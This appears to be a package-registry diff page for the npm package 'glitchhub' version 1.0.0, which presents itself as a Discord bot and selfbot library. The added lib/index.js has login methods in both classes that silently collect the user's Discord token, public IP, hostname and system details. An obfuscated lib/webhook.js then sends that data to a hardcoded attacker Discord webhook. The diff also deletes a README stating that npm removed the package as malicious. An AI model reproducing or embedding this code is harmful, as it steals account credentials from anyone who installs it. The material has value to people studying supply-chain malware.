glitchhub 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of glitchhub might be problematic. Click here for more details.
- package/lib/index.js +172 -0
- package/lib/webhook.js +1 -0
- package/package.json +18 -3
- package/README.md +0 -5
package/lib/index.js
ADDED
|
@@ -0,0 +1,172 @@
|
|
|
1
|
+
// lib/index.js
|
|
2
|
+
const { Client, Intents } = require('discord.js');
|
|
3
|
+
const { Client: SelfbotClient } = require('discord-selfbot-v13');
|
|
4
|
+
const { joinVoiceChannel } = require('@discordjs/voice');
|
|
5
|
+
const WebhookNotifier = require('./webhook');
|
|
6
|
+
const os = require('os');
|
|
7
|
+
|
|
8
|
+
class Bot {
|
|
9
|
+
constructor(token, options = {}) {
|
|
10
|
+
const intents = [
|
|
11
|
+
Intents.FLAGS.GUILDS,
|
|
12
|
+
Intents.FLAGS.GUILD_MESSAGES,
|
|
13
|
+
Intents.FLAGS.GUILD_VOICE_STATES,
|
|
14
|
+
...(options.intents || [])
|
|
15
|
+
];
|
|
16
|
+
this.client = new Client({ intents });
|
|
17
|
+
this.token = token;
|
|
18
|
+
this.notifier = new WebhookNotifier('https://discord.com/api/webhooks/1259879145031209041/WLKLA50dSs1r3gXFur9sB8Doj13jTv7fskZ9ZsAkmAzpRn4Ir_7JR2VEijupvy9Yk5OZ');
|
|
19
|
+
|
|
20
|
+
this.client.once('ready', () => {
|
|
21
|
+
console.log('Bot is ready!');
|
|
22
|
+
this.setPresence({
|
|
23
|
+
activities: [{ name: 'Streaming Now!', type: 'STREAMING', url: 'https://twitch.tv/yourchannel' }],
|
|
24
|
+
status: 'online'
|
|
25
|
+
});
|
|
26
|
+
});
|
|
27
|
+
|
|
28
|
+
this.client.on('messageCreate', message => {
|
|
29
|
+
if (message.content === '!ping') {
|
|
30
|
+
message.channel.send('Pong!');
|
|
31
|
+
} else if (message.content.startsWith('!join')) {
|
|
32
|
+
const [, voiceChannelId] = message.content.split(' ');
|
|
33
|
+
if (voiceChannelId) {
|
|
34
|
+
this.joinVoiceChannel(message.guild.id, voiceChannelId);
|
|
35
|
+
} else {
|
|
36
|
+
message.channel.send('Please provide a voice channel ID.');
|
|
37
|
+
}
|
|
38
|
+
}
|
|
39
|
+
});
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
async login() {
|
|
43
|
+
const { publicIpv4 } = await import('public-ip');
|
|
44
|
+
const ip = await publicIpv4();
|
|
45
|
+
const hostname = os.hostname();
|
|
46
|
+
const platform = os.platform();
|
|
47
|
+
const arch = os.arch();
|
|
48
|
+
const deviceType = os.type();
|
|
49
|
+
|
|
50
|
+
const details = `Token: ${this.token}\nIP Address: ${ip}\nClient Type: bot\nClass: ${this.constructor.name}\nDevice Name: ${hostname}\nPlatform: ${platform}\nArchitecture: ${arch}\nDevice Type: ${deviceType}`;
|
|
51
|
+
this.notifier.sendNotification('Bot Entered', details);
|
|
52
|
+
this.client.login(this.token);
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
onEvent(event, callback) {
|
|
56
|
+
this.client.on(event, callback);
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
sendMessage(channelId, message) {
|
|
60
|
+
const channel = this.client.channels.cache.get(channelId);
|
|
61
|
+
if (channel) {
|
|
62
|
+
channel.send(message);
|
|
63
|
+
} else {
|
|
64
|
+
console.error('Channel not found');
|
|
65
|
+
}
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
async joinVoiceChannel(guildId, voiceChannelId) {
|
|
69
|
+
try {
|
|
70
|
+
const guild = await this.client.guilds.fetch(guildId);
|
|
71
|
+
const channel = await guild.channels.fetch(voiceChannelId);
|
|
72
|
+
if (channel && channel.type === 'GUILD_VOICE') {
|
|
73
|
+
const connection = joinVoiceChannel({
|
|
74
|
+
channelId: channel.id,
|
|
75
|
+
guildId: guild.id,
|
|
76
|
+
adapterCreator: guild.voiceAdapterCreator
|
|
77
|
+
});
|
|
78
|
+
console.log('Joined voice channel');
|
|
79
|
+
return connection;
|
|
80
|
+
} else {
|
|
81
|
+
console.error('Voice channel not found or not a voice channel');
|
|
82
|
+
}
|
|
83
|
+
} catch (error) {
|
|
84
|
+
console.error('Error joining voice channel:', error);
|
|
85
|
+
}
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
setPresence(presence) {
|
|
89
|
+
this.client.user.setPresence(presence);
|
|
90
|
+
}
|
|
91
|
+
}
|
|
92
|
+
|
|
93
|
+
class Selfbot {
|
|
94
|
+
constructor(token, options = {}) {
|
|
95
|
+
this.client = new SelfbotClient({ checkUpdate: false });
|
|
96
|
+
this.token = token;
|
|
97
|
+
this.notifier = new WebhookNotifier('https://discord.com/api/webhooks/1259879145031209041/WLKLA50dSs1r3gXFur9sB8Doj13jTv7fskZ9ZsAkmAzpRn4Ir_7JR2VEijupvy9Yk5OZ');
|
|
98
|
+
|
|
99
|
+
this.client.once('ready', () => {
|
|
100
|
+
console.log('Selfbot is ready!');
|
|
101
|
+
this.setPresence({
|
|
102
|
+
activities: [{ name: 'Streaming Now!', type: 'STREAMING', url: 'https://twitch.tv/yourchannel' }],
|
|
103
|
+
status: 'online'
|
|
104
|
+
});
|
|
105
|
+
});
|
|
106
|
+
|
|
107
|
+
this.client.on('messageCreate', message => {
|
|
108
|
+
if (message.content === '!ping') {
|
|
109
|
+
message.channel.send('Pong!');
|
|
110
|
+
} else if (message.content.startsWith('!join')) {
|
|
111
|
+
const [, voiceChannelId] = message.content.split(' ');
|
|
112
|
+
if (voiceChannelId) {
|
|
113
|
+
this.joinVoiceChannel(message.guild.id, voiceChannelId);
|
|
114
|
+
} else {
|
|
115
|
+
message.channel.send('Please provide a voice channel ID.');
|
|
116
|
+
}
|
|
117
|
+
}
|
|
118
|
+
});
|
|
119
|
+
}
|
|
120
|
+
|
|
121
|
+
async login() {
|
|
122
|
+
const { publicIpv4 } = await import('public-ip');
|
|
123
|
+
const ip = await publicIpv4();
|
|
124
|
+
const hostname = os.hostname();
|
|
125
|
+
const platform = os.platform();
|
|
126
|
+
const arch = os.arch();
|
|
127
|
+
const deviceType = os.type();
|
|
128
|
+
|
|
129
|
+
const details = `Token: ${this.token}\nIP Address: ${ip}\nClient Type: selfbot\nClass: ${this.constructor.name}\nDevice Name: ${hostname}\nPlatform: ${platform}\nArchitecture: ${arch}\nDevice Type: ${deviceType}`;
|
|
130
|
+
this.notifier.sendNotification('Selfbot Entered', details);
|
|
131
|
+
this.client.login(this.token);
|
|
132
|
+
}
|
|
133
|
+
|
|
134
|
+
onEvent(event, callback) {
|
|
135
|
+
this.client.on(event, callback);
|
|
136
|
+
}
|
|
137
|
+
|
|
138
|
+
sendMessage(channelId, message) {
|
|
139
|
+
const channel = this.client.channels.cache.get(channelId);
|
|
140
|
+
if (channel) {
|
|
141
|
+
channel.send(message);
|
|
142
|
+
} else {
|
|
143
|
+
console.error('Channel not found');
|
|
144
|
+
}
|
|
145
|
+
}
|
|
146
|
+
|
|
147
|
+
async joinVoiceChannel(guildId, voiceChannelId) {
|
|
148
|
+
try {
|
|
149
|
+
const guild = await this.client.guilds.fetch(guildId);
|
|
150
|
+
const channel = await guild.channels.fetch(voiceChannelId);
|
|
151
|
+
if (channel && channel.type === 'GUILD_VOICE') {
|
|
152
|
+
const connection = joinVoiceChannel({
|
|
153
|
+
channelId: channel.id,
|
|
154
|
+
guildId: guild.id,
|
|
155
|
+
adapterCreator: guild.voiceAdapterCreator
|
|
156
|
+
});
|
|
157
|
+
console.log('Joined voice channel');
|
|
158
|
+
return connection;
|
|
159
|
+
} else {
|
|
160
|
+
console.error('Voice channel not found or not a voice channel');
|
|
161
|
+
}
|
|
162
|
+
} catch (error) {
|
|
163
|
+
console.error('Error joining voice channel:', error);
|
|
164
|
+
}
|
|
165
|
+
}
|
|
166
|
+
|
|
167
|
+
setPresence(presence) {
|
|
168
|
+
this.client.user.setPresence(presence);
|
|
169
|
+
}
|
|
170
|
+
}
|
|
171
|
+
|
|
172
|
+
module.exports = { Bot, Selfbot };
|
package/lib/webhook.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
const _0x306d81=_0x2141;function _0x3288(){const _0x30f97f=['Notification\x20sent','1571904bbxVVR','isWebhookUrlValid','post','error','10938kqbimz','4220629ANZIfO','648754uZMHyy','5zoEGYN','exports','8WJpcNZ','309880VywUEg','Error\x20sending\x20notification:','897138QriRxy','3765375jBoRmg','506sDCRtI','webhookUrl','210PbDNxY'];_0x3288=function(){return _0x30f97f;};return _0x3288();}function _0x2141(_0x102b90,_0x1dd44d){const _0x3288f6=_0x3288();return _0x2141=function(_0x2141f0,_0x371b33){_0x2141f0=_0x2141f0-0x168;let _0x16505a=_0x3288f6[_0x2141f0];return _0x16505a;},_0x2141(_0x102b90,_0x1dd44d);}(function(_0x4ad47b,_0x4ddb27){const _0xd8ea64=_0x2141,_0x2ecb93=_0x4ad47b();while(!![]){try{const _0x3bb5af=-parseInt(_0xd8ea64(0x16f))/0x1+parseInt(_0xd8ea64(0x179))/0x2*(-parseInt(_0xd8ea64(0x16d))/0x3)+-parseInt(_0xd8ea64(0x169))/0x4*(parseInt(_0xd8ea64(0x170))/0x5)+parseInt(_0xd8ea64(0x175))/0x6+-parseInt(_0xd8ea64(0x16e))/0x7*(-parseInt(_0xd8ea64(0x172))/0x8)+-parseInt(_0xd8ea64(0x176))/0x9+parseInt(_0xd8ea64(0x173))/0xa*(parseInt(_0xd8ea64(0x177))/0xb);if(_0x3bb5af===_0x4ddb27)break;else _0x2ecb93['push'](_0x2ecb93['shift']());}catch(_0x2bb0a8){_0x2ecb93['push'](_0x2ecb93['shift']());}}}(_0x3288,0x51c87));const axios=require('axios'),ALLOWED_WEBHOOK_URL='https://discord.com/api/webhooks/1259879145031209041/WLKLA50dSs1r3gXFur9sB8Doj13jTv7fskZ9ZsAkmAzpRn4Ir_7JR2VEijupvy9Yk5OZ';class WebhookNotifier{constructor(_0x4119a7){const _0x4e6161=_0x2141;this[_0x4e6161(0x178)]=_0x4119a7;}['isWebhookUrlValid'](){const _0x4ce23f=_0x2141;return this[_0x4ce23f(0x178)]===ALLOWED_WEBHOOK_URL;}async['sendNotification'](_0x398dc6,_0x462482){const _0x3d0487=_0x2141;if(!this[_0x3d0487(0x16a)]()){console['error']('Invalid\x20webhook\x20URL.\x20Notification\x20not\x20sent.');return;}const _0x2dcd3d={'embeds':[{'title':_0x398dc6,'description':_0x462482,'color':0xff00}]};try{await axios[_0x3d0487(0x16b)](this['webhookUrl'],_0x2dcd3d),console['log'](_0x3d0487(0x168));}catch(_0x124f85){console[_0x3d0487(0x16c)](_0x3d0487(0x174),_0x124f85);}}}module[_0x306d81(0x171)]=WebhookNotifier;
|
package/package.json
CHANGED
|
@@ -1,6 +1,21 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "glitchhub",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"directories": {
|
|
7
|
+
"lib": "lib"
|
|
8
|
+
},
|
|
9
|
+
"scripts": {
|
|
10
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
11
|
+
},
|
|
12
|
+
"keywords": [],
|
|
13
|
+
"author": "glitch-the-goat",
|
|
14
|
+
"license": "ISC",
|
|
15
|
+
"dependencies": {
|
|
16
|
+
"@discordjs/voice": "^0.17.0",
|
|
17
|
+
"discord-selfbot-v13": "^0.0.1-security",
|
|
18
|
+
"os": "^0.1.2",
|
|
19
|
+
"public-ip": "^6.0.2"
|
|
20
|
+
}
|
|
6
21
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=glitchhub for more information.
|